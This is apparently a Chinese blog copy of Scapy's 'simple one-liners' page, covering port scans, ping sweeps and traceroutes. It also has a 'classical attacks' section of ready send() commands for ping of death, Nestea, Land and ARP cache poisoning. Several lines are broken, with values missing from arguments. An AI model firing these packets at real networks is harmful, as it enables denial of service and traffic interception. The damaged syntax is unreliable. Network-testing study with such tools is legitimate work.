scapy官方文档
https://thepacketgeek.com/scapy-p-04-looking-at-packets/
http://biot.com/capstats/bpf.html filter语法
http://www.secdev.org/projects/scapy/doc/usage.html#first-steps
http://www.cnblogs.com/xuanhun/p/5802573.html
https://fossies.org/dox/scapy-2.3.1/classscapy_1_1arch_1_1pcapdnet_1_1L2dnetSocket.html 源码
Simple one-liners
- ACK Scan
- ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
- 我们发现未过滤的端口(在响应数据包)
for s,r in ans:
if s[TCP].dport == r[TCP].sport:
print str(s[TCP].dport) + "is unfiltered"
发现过滤的端口(在未响应的数据包)
for s in unans:
print str(s[TCP].dport) + "is filtered"
- Xmas Scan
ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=,flag="FPU"))
检测到RST响应。则揭露在目标的关闭端口
- IP Scan
ans, unans = sr(IP(dst="192.168.1.1",proto=(,))/"SCAPY",retry=)
探测支持的协议
- ARP Ping
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=)
发现网络中存活的主机 ans.summary(lambda(s,r): r.sprintf("%Ether.src% %ARP.psrc%"))
显示存活主机的IP和mac地址 或者执行:
arping("192.168.1.*)
- ICMP Ping
ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP())
ans.summary(lambda(s,r): r.sprintf("%IP.src% is active"))
- TCP Ping
ans, unans = sr(IP(dst="192.168.1.*")/TCP(dport=80,flag="S"))
如果主机有防火墙,那么可以尝试TCP Ping。
ans.summary(lambda(s,r): r.sprintf("%IP.src% is alive"))
- UDP Ping
If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0: ans,unans = sr(IP(dst="192.168.*.1-10")/UDP(dport=0)) Once again, results can be collected with this command:
ans.summary(lambda(s,r): r.sprintf("%IP.src% is alive"))
- Classical attacks
畸形包:
send(IP(dst="10.1.1.5",ihl=2,version=3)/ICMP())
死亡之ping:
send(fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)))
Nestea attack:
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
send(IP(dst=target, id=42, frag=48)/("X"*116))
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) Land attack:
send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
- ARP cache poisioning
典型的ARP缓冲毒化
send(Ether(dst=clientMAC)/ARP(op="who-has",psrc=gateway,pdst=client),inter=RandNum(10,40),loop=1) ARP cache poisoning with double 802.1q encapsulation:
send(Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op="who-has",psrc=gateway,pdst=client),inter=RandNum(10,40),loop=1)
- TCP Port Scanning
发送一个TCP SYN在每个端口。等待一个SYN-ACK或者一个RST或者一个ICMP错误:
res,unans = sr(IP(dst="target")/TCP(flags="S",dport=(1,1024)) 可能的结果:开放端口
res.summary(lfilter=lambda(s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)))
- IKE Scanning
IKE ----因特网密钥交换协议 尝试辨认出VPN的接线器通过发送ISAKMP Association proposal(密钥管理协议)并且接受这回答: res, unans = sr(IP(dst="192.168.1.*")/UDP()/ISAKMP(init_cookie=RandString(8),exch_type="identity prot.")/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) 可视化的结果:
res.nsummary(prn=lambda(s,r): r.src, lfilter=lambda(s,r): r.haslayer(ISAKMP))
- TCP SYN tracerute
ans, unans = sr(IP(dst="4.2.2.1",ttl(1,10))/TCP(dport=53,flags="S“))
可能的结果:
ans.summary(lambda(s,r): r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1 time-exceeded
68.86.90.162 time-exceeded
4.79.43.134 time-exceeded
4.79.43.133 time-exceeded
4.68.18.126 time-exceeded
4.68.123.38 time-exceeded
4.2.2.1 SA
- UDP traceroute
UDP由于没有握手,我们需要给一个应用载体(DNS,ISAKMP,NTP等)来得到响应:
res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com")) 使用下面的代码来得到路由:
res.make_table(lambda(s,r): (s.dst, s.ttl, r.src))
- DNS traceroute
ans,unans = traceroute("4.2.2.1",14=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
scapy官方文档的更多相关文章
- 【AutoMapper官方文档】DTO与Domin Model相互转换(上)
写在前面 AutoMapper目录: [AutoMapper官方文档]DTO与Domin Model相互转换(上) [AutoMapper官方文档]DTO与Domin Model相互转换(中) [Au ...
- 2DToolkit官方文档中文版打地鼠教程(三):Sprite Collections 精灵集合
这是2DToolkit官方文档中 Whack a Mole 打地鼠教程的译文,为了减少文中过多重复操作的翻译,以及一些无必要的句子,这里我假设你有Unity的基础知识(例如了解如何新建Sprite等) ...
- 2DToolkit官方文档中文版打地鼠教程(二):设置摄像机
这是2DToolkit官方文档中 Whack a Mole 打地鼠教程的译文,为了减少文中过多重复操作的翻译,以及一些无必要的句子,这里我假设你有Unity的基础知识(例如了解如何新建Sprite等) ...
- 2DToolkit官方文档中文版打地鼠教程(一):初始设置
这是2DToolkit官方文档中 Whack a Mole 打地鼠教程的译文,为了减少文中过多重复操作的翻译,以及一些无必要的句子,这里我假设你有Unity的基础知识(例如了解如何新建Sprite等) ...
- 【AutoMapper官方文档】DTO与Domin Model相互转换(中)
写在前面 AutoMapper目录: [AutoMapper官方文档]DTO与Domin Model相互转换(上) [AutoMapper官方文档]DTO与Domin Model相互转换(中) [Au ...
- 【AutoMapper官方文档】DTO与Domin Model相互转换(下)
写在前面 AutoMapper目录: [AutoMapper官方文档]DTO与Domin Model相互转换(上) [AutoMapper官方文档]DTO与Domin Model相互转换(中) [Au ...
- Ionic2系列——Ionic 2 Guide 官方文档中文版
最近一直没更新博客,业余时间都在翻译Ionic2的文档.之前本来是想写一个入门,后来觉得干脆把官方文档翻译一下算了,因为官方文档就是最好的入门教程.后来越翻译越觉得这个事情确实比较费精力,不知道什么时 ...
- Kotlin开发语言文档(官方文档)-- 目录
开始阅读Kotlin官方文档.先上文档目录.有些内容还未阅读,有些目录标目翻译还需琢磨琢磨.后续再将具体内容的链接逐步加上. 文档链接:https://kotlinlang.org/docs/kotl ...
- 一起学微软Power BI系列-官方文档-入门指南(1)Power BI初步介绍
我们在前一篇文章微软新神器-Power BI,一个简单易用,还用得起的BI产品中,我们初步介绍了Power BI的基本知识.由于Power BI是去年开始微软新发布的一个产品,虽然已经可以企业级应用, ...
随机推荐
- ubuntu python apache2 wsgi django框架
在ubuntu上通过apatch2和wsgi部署django (亲手做过!!!) 一,我的python.django.apatch2版本: python:python -V 2.7.3 django: ...
- CAP定理与BASE理论
1. CAP定理 C:Consistency,一致性 A:Availability,可用性 P:Partition tolerance,分区容错性 CAP定理,指的是在一个分布式系统中,一致性.可用性 ...
- 训练题(代码未检验)(序列前k大和问题)
大厦 Time Limit : 4000/2000ms (Java/Other) Memory Limit : 65535/32768K (Java/Other) Total Submission ...
- 全球最大轻博客APP确认被苹果下架!
读 苹果确认了App Store下架轻博客应用Tumblr,主要原因是,该应用没有很好的过滤掉一些成人内容(成人内容多到夸张),这严重影响了未成年人. 事实上,iPhone和iPad版Tumblr应用 ...
- pgm终
这里罗列一些看完此书后遗留的问题: 常用 model 通过 BP/LBP 重新审视 inference 部分 Lauritzen algorithm/Lauritzen-Spiegelhalter a ...
- AtCoder Regular Contest 063 F : Snuke’s Coloring 2 (线段树 + 单调栈)
题意 小 \(\mathrm{C}\) 很喜欢二维染色问题,这天他拿来了一个 \(w × h\) 的二维平面 , 初始时均为白色 . 然后他在上面设置了 \(n\) 个关键点 \((X_i , Y_i ...
- 自学Linux Shell11.1-shell概述
点击返回 自学Linux命令行与Shell脚本之路 11.1-shell概述 Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁.Shell 既是一种命令语言,又是一种程序设计 ...
- 洛谷P2668 斗地主
好,终于搞完了这一道毒瘤题...... 先想到搜索,然后想到状压,发现数据组数很多,又是随机,还是决定用搜索. 先搜出的多的,于是顺序是三个顺子,然后按照多到少搜带牌,最后是不带牌. 大体思路很简单, ...
- A1038. Recover the Smallest Number
Given a collection of number segments, you are supposed to recover the smallest number from them. Fo ...
- 多个 ng-app 中 Controllers & Services 之间的通信
原文发布在个人独立博客上,链接:http://pengisgood.github.io/2016/01/31/communication-between-multiple-angular-apps/ ...